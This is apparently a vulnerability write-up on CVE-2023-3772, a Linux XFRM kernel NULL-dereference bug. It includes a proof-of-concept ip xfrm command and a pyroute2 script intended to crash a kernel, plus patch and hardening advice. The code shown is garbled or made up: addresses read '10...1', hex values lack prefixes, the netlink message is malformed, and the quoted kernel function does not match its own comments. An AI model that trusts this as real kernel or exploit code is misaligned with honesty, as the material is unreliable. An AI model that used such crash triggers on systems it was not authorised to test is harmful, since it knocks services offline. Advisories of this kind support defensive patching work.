In June 2023, a serious flaw was discovered in the Linux kernel’s IP transformation framework—known as the XFRM subsystem. Identified as CVE-2023-3772, this vulnerability can allow a user with certain network privileges to crash the entire system simply by triggering a NULL pointer dereference. In this article, we’ll break down what this means, how it can be exploited, and what you can do to protect your servers.

What is the XFRM Subsystem?

The XFRM (transform) subsystem in Linux is used for applying transformations to network packets—most notably, in IPsec (IP Security). It handles various cryptographic processing steps, such as encapsulation, encryption, and authentication of packets as they traverse networks.

If you use VPNs with Linux, chances are, your traffic passes through the XFRM subsystem.

What’s the Vulnerability?

The core problem is in the xfrm_update_ae_params() function. When a user with CAP_NET_ADMIN privileges calls certain netlink operations, the kernel might attempt to access a pointer that hasn’t been set up (i.e., it is NULL). Accessing this pointer leads to a kernel panic, taking your entire system down.

> Key Point: While exploiting this bug won’t let an attacker run code as root or steal data, it’s a classic Denial of Service (DoS) attack—one command can kill your machine.

Here’s a simplified version of the vulnerable code

// net/xfrm/xfrm_user.c
static int xfrm_update_ae_params(struct net *net, struct xfrm_state *x, ... )
{
    ...
    /* AE (Anti-replay) pointer can be NULL */
    if (param1) {
        x->replay_maxdiff = param1; // x can be NULL here!
        // Kernel crash if x is NULL
    }
    ...
}

If an attacker tells the kernel to update AE (anti-replay) parameters for a non-existent state, the kernel can try to write to a NULL address, which crashes it immediately.

How to Exploit CVE-2023-3772

Disclaimer: This information is for educational purposes only. Do not use it to attack any system you don’t own or have explicit permission to test.

To trigger the bug, a user with CAP_NET_ADMIN can, for example, use the ip xfrm utility to attempt to update AE parameters on a non-existent XFRM state.

Proof of Concept

# Make sure you have CAP_NET_ADMIN or are root.
ip xfrm state update \
    src 10...1 dst 10...2 \
    proto esp spi xdeadbeef \
    replay-window 128
# If no such state exists, kernel tries to dereference NULL and crashes.


from pyroute2 import IPRoute, IPDB
ip = IPRoute()
# Craft an xfrm state update message targeting a bogus SPI (Security Parameter Index)
msg = {
    'attrs': [
        ('XFRMA_SRCADDR', '10...1'),
        ('XFRMA_DSTADDR', '10...2'),
        ('XFRMA_PROTO', 50),      # ESP protocol
        ('XFRMA_SPI', xdeadbeef),
        ('XFRMA_REPLAY_WINDOW', 128),
    ]
}
ip.nlm_request(msg, msg_type=x11a)  # Netlink msg_type for update

Running either of these as a user with the right permissions can instantly crash an unpatched Linux kernel.

The Fix

The maintainers patched the bug quickly. The fix simply checks for a NULL pointer before trying to write to it:

if (x) {
    x->replay_maxdiff = param1;
}

View the Git patch

How to Protect Your System

1. Update Your Kernel: Any kernel after 5.15.120, 6.1.40, or 6.3.9 (depending on your version) contains the fix.
2. Control CAP_NET_ADMIN: Don’t allow untrusted users (especially in containers) to have CAP_NET_ADMIN. It gives too much power.
3. Use LSMs (like SELinux or AppArmor): These tools can help restrict what processes can do, even with capabilities.

References

- CVE entry on NVD
- Ubuntu Security Notice USN-6307-1
- Red Hat Bugzilla 2216485
- Kernel Patch Commit

Final Thoughts

This vulnerability is a textbook example of why kernel code must always defensively check pointers before using them, and why Linux capabilities like CAP_NET_ADMIN should be handed out sparingly. In a world of containers and cloud computing, even “non-root” users can often wield surprising power over the whole system. Stay patched!

If you want to stay updated on discoveries like this, follow your distro’s security team and keep your kernels fresh. And remember—always test on non-production systems before rolling out software updates!


*Article by CQ-Sec. For more vulnerability breakdowns, follow us!*

Timeline

Published on: 07/25/2023 16:15:00 UTC
Last modified on: 09/10/2023 12:15:00 UTC